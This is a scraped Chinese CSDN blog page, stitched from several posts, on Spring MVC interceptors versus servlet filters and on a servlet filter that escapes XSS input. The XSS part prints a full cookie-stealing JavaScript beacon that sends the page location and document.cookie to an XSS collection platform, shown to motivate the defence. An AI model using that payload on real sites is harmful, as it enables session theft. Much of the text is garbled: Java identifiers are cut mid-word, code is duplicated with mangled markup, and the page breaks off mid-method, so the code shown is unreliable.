servletspring filter 过滤器和springMVC拦截器的区别

过滤器和拦截器(SpringMVC实现) - 勿忘初心,方得始终 - CSDN博客
过滤器和拦截器(SpringMVC实现)
拦截器是指通过统一拦截从浏览器发往服务器的请求来完成功能的增强。
使用场景:解决请求的共性问题,如:乱码问题、权限验证问题等
过滤器实现乱码问题
Spring MVC默认提供了CharacterEncodingFilter过滤器类,来对客户端的请求进行编码设置。
在web.xml中配置该过滤器:
&characterEncodingFilter&
&org.springframework.web.filter.CharacterEncodingFilter&
&encoding&
&characterEncodingFilter&
过滤器与拦截器原理类似,其是最先对请求进行拦截,拦截器是当请求通过过滤器之后,在请求到达Controller之前进行拦截。当执行完Controller的方法之后再依次递归返回执行。
实现SpringMVC拦截器的三个步骤
1. 创建一个实现HandlerInterceptor接口,并实现接口的方法的类。
2. 将创建的拦截器注册到SpringMVC的配置文件中实现注册。
3. 配置拦截器的拦截规则。
HandleInterceptor的三个方法
preHandler
在请求被处理之前进行调用
HttpServletRequest, HttpServletResponse, Object(被拦截的请求目标对象)
是否需要将当前请求拦截下来(false:请求将被终止; true:请求会被继续运行)
postHandler
在请求被处理之后进行调用
HttpServletRequest, HttpServletResponse, Object, ModelAndView(改变显示的视图setViewName)
afterCompletion
在请求结束之后才进行调用
HttpServletRequest, HttpServletResponse, Object, Exception
无(主要做资源的销毁,如关闭IO流)
public class EncodingInterceptor implements HandlerInterceptor{
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object object, Exception exception)
throws Exception {
System.out.println("EncodingInterceptor afterCompletion");
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object object, ModelAndView modelAndView)
throws Exception {
System.out.println("EncodingInterceptor postHandle");
modelAndView.addObject("msg", "这是EncodingInterceptor的msg");
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object object) throws Exception {
System.out.println("EncodingInterceptor preHandle");
request.setCharacterEncoding("utf-8");
return true;
配置文件中实现注册
path="/login/result*" /&
class="com.lmr.springmvc.interceptor.LoginInterceptor"&&
path="/login/*" /&
class="com.lmr.springmvc.interceptor.EncodingInterceptor"&&
如果配置多个拦截器,其执行顺序如下所示:
拦截器的其它实现方式
1.拦截器的类还可以通过实现WebRequestInterceptor接口来编写
2.向SpringMVC框架注册的写法不变
3.弊端:preHandler方法没有返回值,不能终止请求
Ps:建议使用功能更强大的实现方式,实现HandlerInterceptor接口。
public class TestInterceptor implements WebRequestInterceptor{
public void preHandle(WebRequest request) throws Exception {
public void postHandle(WebRequest request, ModelMap model) throws Exception {
public void afterCompletion(WebRequest request, Exception ex) throws Exception {
拦截器和过滤器
拦截器是基于java的反射机制的,而过滤器是基于函数回调。
拦截器不依赖与servlet容器,过滤器依赖与servlet容器。
拦截器只能对action请求起作用,而过滤器则可以对几乎所有的请求起作用。
拦截器可以访问action上下文、值栈里的对象,而过滤器不能访问。
在action的生命周期中,拦截器可以多次被调用,而过滤器只能在容器初始化时被调用一次。
拦截器可以获取IOC容器中的各个bean,而过滤器就不行,这点很重要,在拦截器里注入一个service,可以调用业务逻辑
我的热门文章  依赖于servlet容器。在实现上基于函数回调,可以对几乎所有请求进行过滤,但是缺点是一个过滤器实例只能在容器初始化时调用一次。使用过滤器的目的是用来做一些过滤操作,获取我们想要获取的数据.
  比如:在过滤器中修改字符编码;在过滤器中修改 & & & & HttpServletRequest的一些参数,包括:过滤低俗文字、危险字符等
  关于过滤器的一些用法可以参考我写过的这些文章:
    继承HttpServletRequestWrapper以实现在Filter中修改HttpServletRequest的参数:/677.html
    在SpringMVC中使用过滤器(Filter)过滤容易引发XSS的危险字符:/683.html
  依赖于web框架,在SpringMVC中就是依赖于SpringMVC框架。在实现上基于Java的反射机制,属于面向切面编程(AOP)的一种运用。由于拦截器是基于web框架的调用.
  因此可以使用spring的依赖注入(DI)进行一些业务操作,同时一个拦截器实例在一个controller生命周期之内可以多次调用。但是缺点是只能对controller请求进行拦截,对其他的一些比如直接访问静态资源的请求则没办法进行拦截处理。
  关于拦截器的一些用法可以参考我写过的这些文章:
    SpringMVC中使用拦截器(interceptor)拦截CSRF攻击(修):/671.html
    SpringMVC中使用Interceptor+cookie实现在一定天数之内自动登录:/700.html
3.执行顺序
  过滤器的运行是依赖于servlet容器的,跟springmvc等框架并没有关系。并且多个过滤器的执行顺序跟web.xml文件中定义的先后关系有关。
  拦截器的执行顺序跟在SpringMVC的配置文件中定义的先后顺序有关。
阅读(...) 评论()13804人阅读
Spring(8)
(1)过滤器:
依赖于servlet容器。在实现上基于函数回调,可以对几乎所有请求进行过滤,但是缺点是一个过滤器实例只能在容器初始化时调用一次。使用过滤器的目的是用来做一些过滤操作,获取我们想要获取的数据,比如:在过滤器中修改字符编码;在过滤器中修改HttpServletRequest的一些参数,包括:过滤低俗文字、危险字符等
关于过滤器的一些用法可以参考我写过的这些:
继承HttpServletRequestWrapper以实现在Filter中修改HttpServletRequest的参数:/677.html
在SpringMVC中使用过滤器(Filter)过滤容易引发XSS的危险字符:/683.html
(2)拦截器:
依赖于web框架,在SpringMVC中就是依赖于SpringMVC框架。在实现上基于的反射机制,属于面向切面(AOP)的一种运用。由于拦截器是基于web框架的调用,因此可以使用Spring的依赖注入(DI)进行一些业务操作,同时一个拦截器实例在一个controller生命周期之内可以多次调用。但是缺点是只能对controller请求进行拦截,对其他的一些比如直接访问静态资源的请求则没办法进行拦截处理
关于过滤器的一些用法可以参考我写过的这些文章:
在SpringMVC中使用拦截器(interceptor)拦截CSRF攻击(修):/671.html
SpringMVC中使用Interceptor+实现在一定天数之内自动登录:/700.html
二 多个过滤器与拦截器的代码执行顺序
如果在一个中仅仅只有一个拦截器或者过滤器,那么我相信相对来说理解起来是比较容易的。但是我们是否思考过:如果一个项目中有多个拦截器或者过滤器,那么它们的执行顺序应该是什么样的?或者再复杂点,一个项目中既有多个拦截器,又有多个过滤器,这时它们的执行顺序又是什么样的呢?
下面我将用简单的代码来测试说明:
(1)先定义两个过滤器:
i)过滤器1:
&cn.zifangsky.
import&java.io.IOE
import&javax.servlet.FilterC
import&javax.servlet.ServletE
import&javax.servlet.http.HttpServletR
import&javax.servlet.http.HttpServletR
import&org.springframework.web.filter.OncePerRequestF
public&class&TestFilter1&extends&OncePerRequestFilter&{
protected&void&doFilterInternal(HttpServletRequest&request,&HttpServletResponse&response,&FilterChain&filterChain)
throws&ServletException,&IOException&{
//在DispatcherServlet之前执行
.out.println(&############TestFilter1&doFilterInternal&executed############&);
filterChain.doFilter(request,&response);
//在视图页面返回给之前执行,但是执行顺序在Interceptor之后
System.out.println(&############TestFilter1&doFilter&after############&);
Thread.sleep(10000);
}&catch&(InterruptedException&e)&{
e.printStackTrace();
ii)过滤器2:
package&cn.zifangsky.
import&java.io.IOE
import&javax.servlet.FilterC
import&javax.servlet.ServletE
import&javax.servlet.http.HttpServletR
import&javax.servlet.http.HttpServletR
import&org.springframework.web.filter.OncePerRequestF
public&class&TestFilter2&extends&OncePerRequestFilter&{
protected&void&doFilterInternal(HttpServletRequest&request,&HttpServletResponse&response,&FilterChain&filterChain)
throws&ServletException,&IOException&{
System.out.println(&############TestFilter2&doFilterInternal&executed############&);
filterChain.doFilter(request,&response);
System.out.println(&############TestFilter2&doFilter&after############&);
iii)在web.xml中注册这两个过滤器:
&!--&自定义过滤器:testFilter1&--&
& &filter&
&filter-name&testFilter1&/filter-name&
&filter-class&cn.zifangsky.filter.TestFilter1&/filter-class&
&filter-mapping&
&filter-name&testFilter1&/filter-name&
&url-pattern&/*&/url-pattern&
&/filter-mapping&
&!--&自定义过滤器:testFilter2&--&
& &filter&
&filter-name&testFilter2&/filter-name&
&filter-class&cn.zifangsky.filter.TestFilter2&/filter-class&
&filter-mapping&
&filter-name&testFilter2&/filter-name&
&url-pattern&/*&/url-pattern&
&/filter-mapping&
(2)再定义两个拦截器:
i)拦截器1,基本拦截器:
package&cn.zifangsky.
import&javax.servlet.http.HttpServletR
import&javax.servlet.http.HttpServletR
import&org.springframework.web.servlet.HandlerI
import&org.springframework.web.servlet.ModelAndV
public&class&BaseInterceptor&implements&HandlerInterceptor{
&*&在DispatcherServlet之前执行
public&boolean&preHandle(HttpServletRequest&arg0,&HttpServletResponse&arg1,&Object&arg2)&throws&Exception&{
System.out.println(&************BaseInterceptor&preHandle&executed**********&);
&*&在controller执行之后的DispatcherServlet之后执行
public&void&postHandle(HttpServletRequest&arg0,&HttpServletResponse&arg1,&Object&arg2,&ModelAndView&arg3)
throws&Exception&{
System.out.println(&************BaseInterceptor&postHandle&executed**********&);
&*&在页面渲染完成返回给客户端之前执行
public&void&afterCompletion(HttpServletRequest&arg0,&HttpServletResponse&arg1,&Object&arg2,&Exception&arg3)
throws&Exception&{
System.out.println(&************BaseInterceptor&afterCompletion&executed**********&);
Thread.sleep(10000);
ii)指定controller请求的拦截器:
package&cn.zifangsky.
import&javax.servlet.http.HttpServletR
import&javax.servlet.http.HttpServletR
import&org.springframework.web.servlet.HandlerI
import&org.springframework.web.servlet.ModelAndV
public&class&TestInterceptor&implements&HandlerInterceptor&{
public&boolean&preHandle(HttpServletRequest&arg0,&HttpServletResponse&arg1,&Object&arg2)&throws&Exception&{
System.out.println(&************TestInterceptor&preHandle&executed**********&);
public&void&postHandle(HttpServletRequest&arg0,&HttpServletResponse&arg1,&Object&arg2,&ModelAndView&arg3)
throws&Exception&{
System.out.println(&************TestInterceptor&postHandle&executed**********&);
public&void&afterCompletion(HttpServletRequest&arg0,&HttpServletResponse&arg1,&Object&arg2,&Exception&arg3)
throws&Exception&{
System.out.println(&************TestInterceptor&afterCompletion&executed**********&);
iii)在SpringMVC的中注册这两个拦截器:
&!--&拦截器&--&
& &mvc:interceptors&
&!--&对所有请求都拦截,公共拦截器可以有多个&--&
&bean&name=&baseInterceptor&&class=&cn.zifangsky.interceptor.BaseInterceptor&&/&
&!--&&bean&name=&testInterceptor&&class=&cn.zifangsky.interceptor.TestInterceptor&&/&&--&
&mvc:interceptor&
&!--&对/test.html进行拦截&--&
&mvc:mapping&path=&/test.html&/&
&!--&特定请求的拦截器只能有一个&--&
&bean&class=&cn.zifangsky.interceptor.TestInterceptor&&/&
&/mvc:interceptor&
&/mvc:interceptors&
(3)定义一个测试使用的controller:
package&cn.zifangsky.
import&org.springframework.stereotype.C
import&org.springframework.web.bind.annotation.RequestM
import&org.springframework.web.servlet.ModelAndV
@Controller
public&class&TestController&{
@RequestMapping(&/test.html&)
public&ModelAndView&handleRequest(){
System.out.println(&---------TestController&executed--------&);
return&new&ModelAndView(&test&);
(4)视图页面test.jsp:
&%@&page&language=&java&&contentType=&text/&charset=UTF-8&
&&&&pageEncoding=&UTF-8&%&
String&path&=&request.getContextPath();
String&basePath&=&request.getScheme()+&://&+request.getServerName()+&:&+request.getServerPort()+path+&/&;
&meta&http-equiv=&Content-Type&&content=&text/&charset=UTF-8&&
&base&href=&http://./7311475/&&
&title&FilterDemo&/title&
System.out.println(&test.jsp&is&loading&);
&div&align=&center&&
This&is&test&page
(5)测试效果:
启动此测试项目,可以看到控制台中输出如下:
这就说明了过滤器的运行是依赖于servlet容器的,跟springmvc等框架并没有关系。并且,多个过滤器的执行顺序跟xml文件中定义的先后关系有关
接着清空控制台中的输出内容并访问:http://:9180/FilterDemo/test.html
可以看到,此时的控制台输出结果如下:
相信从这个打印输出,大家就可以很清晰地看到有多个拦截器和过滤器存在时的整个执行顺序了。当然,对于过个拦截器它们之间的执行顺序跟在SpringMVC的配置文件中定义的先后顺序有关
注:对于整个SpringMVC的执行流程来说,如果加上上面的拦截器和过滤器,其最终的执行流程就如下图所示:
&&相关文章推荐
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:23479次
排名:千里之外
原创:14篇
转载:18篇
(1)(2)(6)(9)(2)(3)(3)(1)(4)(1)(1)
(window.slotbydup = window.slotbydup || []).push({
id: '4740887',
container: s,
size: '250,250',
display: 'inlay-fix'一 简介如题所示,如果不在服务端对用户的输入信息进行过滤,然后该参数又直接在前台页面中展示,毫无疑问将会容易引发XSS攻击(跨站脚本攻击),比如说这样:form表单中有这么一个字段:XHTML
&input type="text" id="author" name="author" placeholder="昵称" /&1&input type="text" id="author" name="author" placeholder="昵称" /&然后潜在攻击者在该字段上填入以下内容:JavaScript
&script&alert('XSS')&/script&1&script&alert('XSS')&/script&紧接着服务端忽略了“一切来至其他系统的数据都存在安全隐患”的原则,并没有对来至用户的数据进行过滤,导致了直接在前台页面中进行展示。很显然直接弹窗了:当然,这里仅仅只是一个无伤大雅的弹窗,如果是恶意的攻击者呢?他可能会利用这个漏洞盗取cookie、篡改网页,甚至是配合CSRF漏洞伪造用户请求,形成大规模爆发的蠕虫病毒等等。比如说远程加载这么一个js将会导致用户的cookie被窃取:XHTML
(function(){(new Image()).src='/index.php?do=api&id=ykvR5H&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if('1'==1){keep=new Image();keep.src='/index.php?do=keepsession&id=ykvR5H&url='+escape(document.location)+'&cookie='+escape(document.cookie)};12(function(){(new Image()).src='/index.php?do=api&id=ykvR5H&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if('1'==1){keep=new Image();keep.src='/index.php?do=keepsession&id=ykvR5H&url='+escape(document.location)+'&cookie='+escape(document.cookie)};然后将可以在自己搭建的XSS平台中收到信息,比如像这样:注:因为我在这个demo程序里没有设置cookie,因此cookie那一栏显示为空白当然,值得庆幸的是,像国内一些主流的浏览器(如:360浏览器、猎豹浏览器)对这类常见的XSS payload都进行了过滤,查看网页源代码可以发现这些危险的字符均使用了鲜艳的红色字体进行了标注,同时该脚本并不能成功地执行:不过,我发现我使用的IE10和最新版的Firefox都没有进行此项过滤,不得不说是个遗憾注:我这里只是测试了猎豹、360、IE10以及火狐这四款浏览器,其他的没测试,因此不敢妄加评论二 使用Filter过滤容易引发XSS的危险字符(1)自定义一个过滤用的Filter:Java
package cn.zifangsky.
import java.io.IOE
import java.util.E
import java.util.M
import java.util.V
import java.util.regex.M
import java.util.regex.P
import javax.servlet.FilterC
import javax.servlet.ServletE
import javax.servlet.http.HttpServletR
import javax.servlet.http.HttpServletRequestW
import javax.servlet.http.HttpServletR
import mons.lang3.StringEscapeU
import mons.lang3.StringU
import org.springframework.web.filter.OncePerRequestF
public class XSSFilter extends OncePerRequestFilter {
private String exclude =
//不需要过滤的路径集合
private Pattern pattern =
//匹配不需要过滤路径的正则表达式
public void setExclude(String exclude) {
this.exclude =
pattern = pile(getRegStr(exclude));
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
throws ServletException, IOException {
String requestURI = request.getRequestURI();
if(StringUtils.isNotBlank(requestURI))
requestURI = requestURI.replace(request.getContextPath(),"");
if(pattern.matcher(requestURI).matches())
filterChain.doFilter(request, response);
EscapeScriptwrapper escapeScriptwrapper = new EscapeScriptwrapper(request);
filterChain.doFilter(escapeScriptwrapper, response);
* 将传递进来的不需要过滤得路径集合的字符串格式化成一系列的正则规则
* @param str 不需要过滤的路径集合
* @return 正则表达式规则
private String getRegStr(String str){
if(StringUtils.isNotBlank(str)){
String[] excludes = str.split(";");
//以分号进行分割
int length = excludes.
for(int i=0;i&i++){
String tmpExclude = excludes[i];
//对点、反斜杠和星号进行转义
tmpExclude = tmpExclude.replace("\\", "\\\\").replace(".", "\\.").replace("*", ".*");
tmpExclude = "^" + tmpExclude + "$";
excludes[i] = tmpE
return StringUtils.join(excludes, "|");
* 继承HttpServletRequestWrapper,创建装饰类,以达到修改HttpServletRequest参数的目的
private class EscapeScriptwrapper extends HttpServletRequestWrapper{
private Map&String, String[]& parameterM
//所有参数的Map集合
public EscapeScriptwrapper(HttpServletRequest request) {
super(request);
parameterMap = request.getParameterMap();
//重写几个HttpServletRequestWrapper中的方法
* 获取所有参数名
* @return 返回所有参数名
public Enumeration&String& getParameterNames() {
Vector&String& vector = new Vector&String&(parameterMap.keySet());
return vector.elements();
* 获取指定参数名的值,如果有重复的参数名,则返回第一个的值
* 接收一般变量 ,如text类型
* @param name 指定参数名
* @return 指定参数名的值
public String getParameter(String name) {
String[] results = parameterMap.get(name);
if(results == null || results.length &= 0)
return escapeXSS(results[0]);
* 获取指定参数名的所有值的数组,如:checkbox的所有数据
* 接收数组变量 ,如checkobx类型
public String[] getParameterValues(String name) {
String[] results = parameterMap.get(name);
if(results == null || results.length &= 0)
int length = results.
for(int i=0;i&i++){
results[i] = escapeXSS(results[i]);
* 过滤字符串中的js脚本
* 解码:StringEscapeUtils.unescapeXml(escapedStr)
private String escapeXSS(String str){
str = StringEscapeUtils.escapeXml(str);
Pattern tmpPattern = pile("[sS][cC][rR][iI][pP][tT]");
Matcher tmpMatcher = tmpPattern.matcher(str);
if(tmpMatcher.find()){
str = tmpMatcher.replaceAll(tmpMatcher.group(0) + "\\\\");
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141package cn.zifangsky.filter;&import java.io.IOException;import java.util.Enumeration;import java.util.Map;import java.util.Vector;import java.util.regex.Matcher;import java.util.regex.Pattern;&import javax.servlet.FilterChain;import javax.servlet.ServletException;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletRequestWrapper;import javax.servlet.http.HttpServletResponse;&import org.apache.commons.lang3.StringEscapeUtils;import org.apache.commons.lang3.StringUtils;import org.springframework.web.filter.OncePerRequestFilter;&public class XSSFilter extends OncePerRequestFilter {&&&&private String exclude = null;&&//不需要过滤的路径集合&&&&private Pattern pattern = null;&&//匹配不需要过滤路径的正则表达式&&&&&&&&public void setExclude(String exclude) {&&&&&&&&this.exclude = exclude;&&&&&&&&pattern = Pattern.compile(getRegStr(exclude));&&&&}&&&&&&&&/**&&&& * XSS过滤&&&& */&&&&protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)&&&&&&&&&&&&throws ServletException, IOException {&&&&&&&&String requestURI = request.getRequestURI();&&&&&&&&if(StringUtils.isNotBlank(requestURI))&&&&&&&&&&&&requestURI = requestURI.replace(request.getContextPath(),"");&&&&&&&&&&&&&&&&if(pattern.matcher(requestURI).matches())&&&&&&&&&&&&filterChain.doFilter(request, response);&&&&&&&&else{&&&&&&&&&&&&EscapeScriptwrapper escapeScriptwrapper = new EscapeScriptwrapper(request);&&&&&&&&&&&&filterChain.doFilter(escapeScriptwrapper, response);&&&&&&&&}&&&&}&&&&&&&&/**&&&& * 将传递进来的不需要过滤得路径集合的字符串格式化成一系列的正则规则&&&& * @param str 不需要过滤的路径集合&&&& * @return 正则表达式规则&&&& * */&&&&private String getRegStr(String str){&&&&&&&&if(StringUtils.isNotBlank(str)){&&&&&&&&&&&&String[] excludes = str.split(";");&&//以分号进行分割&&&&&&&&&&&&int length = excludes.length;&&&&&&&&&&&&for(int i=0;i&length;i++){&&&&&&&&&&&&&&&&String tmpExclude = excludes[i];&&&&&&&&&&&&&&&&//对点、反斜杠和星号进行转义&&&&&&&&&&&&&&&&tmpExclude = tmpExclude.replace("\\", "\\\\").replace(".", "\\.").replace("*", ".*");&&&&&&&&&&&&&&&&&tmpExclude = "^" + tmpExclude + "$";&&&&&&&&&&&&&&&&excludes[i] = tmpExclude;&&&&&&&&&&&&}&&&&&&&&&&&&return StringUtils.join(excludes, "|");&&&&&&&&}&&&&&&&&return str;&&&&}&&&&&&&&/**&&&& * 继承HttpServletRequestWrapper,创建装饰类,以达到修改HttpServletRequest参数的目的&&&& * */&&&&private class EscapeScriptwrapper extends HttpServletRequestWrapper{&&&&&&&&private Map&String, String[]& parameterMap;&&//所有参数的Map集合&&&&&&&&public EscapeScriptwrapper(HttpServletRequest request) {&&&&&&&&&&&&super(request);&&&&&&&&&&&&parameterMap = request.getParameterMap();&&&&&&&&}&&&&&&&&&&&&&&&&//重写几个HttpServletRequestWrapper中的方法&&&&&&&&/**&&&&&&&& * 获取所有参数名&&&&&&&& * @return 返回所有参数名&&&&&&&& * */&&&&&&&&@Override&&&&&&&&public Enumeration&String& getParameterNames() {&&&&&&&&&&&&Vector&String& vector = new Vector&String&(parameterMap.keySet());&&&&&&&&&&&&return vector.elements();&&&&&&&&}&&&&&&&&&&&&&&&&/**&&&&&&&& * 获取指定参数名的值,如果有重复的参数名,则返回第一个的值&&&&&&&& * 接收一般变量 ,如text类型&&&&&&&& * &&&&&&&& * @param name 指定参数名&&&&&&&& * @return 指定参数名的值&&&&&&&& * */&&&&&&&&@Override&&&&&&&&public String getParameter(String name) {&&&&&&&&&&&&String[] results = parameterMap.get(name);&&&&&&&&&&&&if(results == null || results.length &= 0)&&&&&&&&&&&&&&&&return null;&&&&&&&&&&&&else{&&&&&&&&&&&&&&&&return escapeXSS(results[0]);&&&&&&&&&&&&}&&&&&&&&}&&&&&&&&&/**&&&&&&&& * 获取指定参数名的所有值的数组,如:checkbox的所有数据&&&&&&&& * 接收数组变量 ,如checkobx类型&&&&&&&& * */&&&&&&&&@Override&&&&&&&&public String[] getParameterValues(String name) {&&&&&&&&&&&&String[] results = parameterMap.get(name);&&&&&&&&&&&&if(results == null || results.length &= 0)&&&&&&&&&&&&&&&&return null;&&&&&&&&&&&&else{&&&&&&&&&&&&&&&&int length = results.length;&&&&&&&&&&&&&&&&for(int i=0;i&length;i++){&&&&&&&&&&&&&&&&&&&&results[i] = escapeXSS(results[i]);&&&&&&&&&&&&&&&&}&&&&&&&&&&&&&&&&return results;&&&&&&&&&&&&}&&&&&&&&}&&&&&&&&&&&&&&&&/**&&&&&&&& * 过滤字符串中的js脚本&&&&&&&& * 解码:StringEscapeUtils.unescapeXml(escapedStr)&&&&&&&& * */&&&&&&&&private String escapeXSS(String str){&&&&&&&&&&&&str = StringEscapeUtils.escapeXml(str);&&&&&&&&&&&&&&&&&&&&&&&&Pattern tmpPattern = Pattern.compile("[sS][cC][rR][iI][pP][tT]");&&&&&&&&&&&&Matcher tmpMatcher = tmpPattern.matcher(str);&&&&&&&&&&&&if(tmpMatcher.find()){&&&&&&&&&&&&&&&&str = tmpMatcher.replaceAll(tmpMatcher.group(0) + "\\\\");&&&&&&&&&&&&}&&&&&&&&&&&&return str;&&&&&&&&}&&&&}&}&(2)在web.xml文件中将该过滤器放在最前面或者是字符编码过滤器之后:XHTML
&filter-name&xssFilter&/filter-name&
&filter-class&cn.zifangsky.filter.XSSFilter&/filter-class&
&init-param&
&param-name&exclude&/param-name&
&param-value&/;/scripts/*;/styles/*;/images/*&/param-value&
&/init-param&
&filter-mapping&
&filter-name&xssFilter&/filter-name&
&url-pattern&*.html&/url-pattern&
&!-- 直接从客户端过来的请求以及通过forward过来的请求都要经过该过滤器 --&
&dispatcher&REQUEST&/dispatcher&
&dispatcher&FORWARD&/dispatcher&
&/filter-mapping&123456789101112131415&&&&&filter&&&&&&&&&&filter-name&xssFilter&/filter-name&&&&&&&&&&filter-class&cn.zifangsky.filter.XSSFilter&/filter-class&&&&&&&&&&init-param&&&&&&&&&&&&&&param-name&exclude&/param-name&&&&&&&&&&&&&&param-value&/;/scripts/*;/styles/*;/images/*&/param-value&&&&&&&&&&/init-param&&&&&&/filter&&&&&&filter-mapping&&&&&&&&&&filter-name&xssFilter&/filter-name&&&&&&&&&&url-pattern&*.html&/url-pattern&&&&&&&&&&!-- 直接从客户端过来的请求以及通过forward过来的请求都要经过该过滤器 --&&&&&&&&&&dispatcher&REQUEST&/dispatcher&&&&&&&&&&dispatcher&FORWARD&/dispatcher&&&&&&/filter-mapping&关于这个自定义的过滤器,我觉得有以下几点需要简单说明下:i)我这里为了方便,没有自己手动写很多过滤规则,只是使用了commons-lang3-3.2.jar 这个jar包中的 StringEscapeUtils 这个方法类来进行过滤。在这个类中有以下几种过滤方法,分别是:escapeJava、escapeEcmaScript、escapeHtml3、escapeHtml4、escapeJson、escapeCsv、escapeEcmaScript 以及 escapeXml。关于这几种方法分别是如何进行过滤的可以自行查阅官方文档或者自己动手写一个简单的Demo进行测试。当然,我这里使用的是escapeXml这个方法进行过滤ii)因为一个web工程中通常会存在js、CSS、图片这类静态资源目录的,很显然这些目录是不需要进行过滤的。因此我也做了这方面的处理,代码很简单,看看上面的例子就明白了,或者可以看看我的这篇文章:iii)关于“在Filter中修改HttpServletRequest中的参数”这个问题,只需要自定义一个类继承与HttpServletRequestWrapper 这个类,然后复写几个方法即可。如果对这方面不太理解的同学可以看看我的这篇文章:iv)在上面的过滤器中,我在escapeXSS(String str) 这个方法的后面还针对“# onerror=javascript:alert(123)” 这种语句进行了专门的过滤。不过不过滤的话问题也不大,我觉得最多就是出现个弹窗,因为把尖括号和引号都给转义了,并不能够执行一些比较危险的操作(3)两个测试的前台页面:i)form表单页面input.jsp:XHTML
&%@ page language="java" contentType="text/ charset=UTF-8"
pageEncoding="UTF-8"%&
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
&meta http-equiv="Content-Type" content="text/ charset=UTF-8"&
&base href="&%=basePath%&"&
&title&FilterDemo&/title&
&div align="center"&
Please input you want to say:
&form action="show.html" method="post"&
&td&&input type="text" id="author" name="author" placeholder="昵称" /&&/td&
&td&&input type="text" id="email" name="email" placeholder="邮箱" /&&/td&
&td&&input type="text" id="url" name="url"placeholder="网址"&&/td&
&td&&textarea name="comment" rows="5" placeholder="来都来了,何不XSS一下"&&/textarea&&/td&
&td align="center"&&input type="submit" value="Go" /&
&/html&12345678910111213141516171819202122232425262728293031323334353637&%@ page language="java" contentType="text/ charset=UTF-8"&&&&pageEncoding="UTF-8"%&&%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%&&&&&&html&&head&&meta http-equiv="Content-Type" content="text/ charset=UTF-8"&&base href="&%=basePath%&"&&title&FilterDemo&/title&&/head&&body&&&&&&div align="center"&&&&&&&&&Please input you want to say:&&&&&&&&&form action="show.html" method="post"&&&&&&&&&&&&&&table&&&&&&&&&&&&&&&&&&tr&&&&&&&&&&&&&&&&&&&&&&td&&input type="text" id="author" name="author" placeholder="昵称" /&&/td&&&&&&&&&&&&&&&&&&/tr&&&&&&&&&&&&&&&&&&tr&&&&&&&&&&&&&&&&&&&&&&td&&input type="text" id="email" name="email" placeholder="邮箱" /&&/td&&&&&&&&&&&&&&&&&&/tr&&&&&&&&&&&&&&&&&&tr&&&&&&&&&&&&&&&&&&&&&&td&&input type="text" id="url" name="url"placeholder="网址"&&/td&&&&&&&&&&&&&&&&&&/tr&&&&&&&&&&&&&&&&&&tr&&&&&&&&&&&&&&&&&&&&&&td&&textarea name="comment" rows="5" placeholder="来都来了,何不XSS一下"&&/textarea&&/td&&&&&&&&&&&&&&&&&&/tr&&&&&&&&&&&&&&&&&&tr&&&&&&&&&&&&&&&&&&&&&&td align="center"&&input type="submit" value="Go" /&&&&&&&&&&&&&&&&&&/tr&&&&&&&&&&&&&&&&&&/table&&&&&&&&&&/form&&&&&&/div&&/body&&/html&ii)结果显示页面show.jsp:XHTML
&%@ page language="java" contentType="text/ charset=UTF-8"
pageEncoding="UTF-8"%&
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
&meta http-equiv="Content-Type" content="text/ charset=UTF-8"&
&base href="&%=basePath%&"&
&title&FilterDemo&/title&
&div align="center"&
&td&昵称:&/td&&td&${author}&/td&
&td&邮箱:&/td&&td&${email}&/td&
&td&网址:&/td&&td&${url}&/td&
&td&留言:&/td&&td&${comment}&/td&
&td&&img alt="x" src=${comment}&&/td&
&/html&12345678910111213141516171819202122232425262728293031323334&%@ page language="java" contentType="text/ charset=UTF-8"&&&&pageEncoding="UTF-8"%&&%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%&&&&&&html&&head&&meta http-equiv="Content-Type" content="text/ charset=UTF-8"&&base href="&%=basePath%&"&&title&FilterDemo&/title&&/head&&body&&&&&&div align="center"&&&&&&&&&&table&&&&&&&&&&&&&&tr&&&&&&&&&&&&&&&&&&td&昵称:&/td&&td&${author}&/td&&&&&&&&&&&&&&/tr&&&&&&&&&&&&&&tr&&&&&&&&&&&&&&&&&&td&邮箱:&/td&&td&${email}&/td&&&&&&&&&&&&&&/tr&&&&&&&&&&&&&&tr&&&&&&&&&&&&&&&&&&td&网址:&/td&&td&${url}&/td&&&&&&&&&&&&&&/tr&&&&&&&&&&&&&&tr&&&&&&&&&&&&&&&&&&td&留言:&/td&&td&${comment}&/td&&&&&&&&&&&&&&/tr&&&&&&&&&&&&&&!-- &tr&&&&&&&&&&&&&&&&&&td&&img alt="x" src=${comment}&&/td&&&&&&&&&&&&&&/tr& --&&&&&&&&&&/table&&&&&&/div&&/body&&/html&(4)测试用的Controller:Java
package cn.zifangsky.
import org.springframework.stereotype.C
import org.springframework.web.bind.annotation.RequestM
import org.springframework.web.bind.annotation.RequestP
import org.springframework.web.servlet.ModelAndV
@Controller
public class CommentController {
* 获取留言并在页面展示
@RequestMapping("/show.html")
public ModelAndView showComment(@RequestParam(name = "author", required = true) String author,
@RequestParam(name = "email", required = false) String email,
@RequestParam(name = "url", required = false) String url,
@RequestParam(name = "comment", required = false) String comment) {
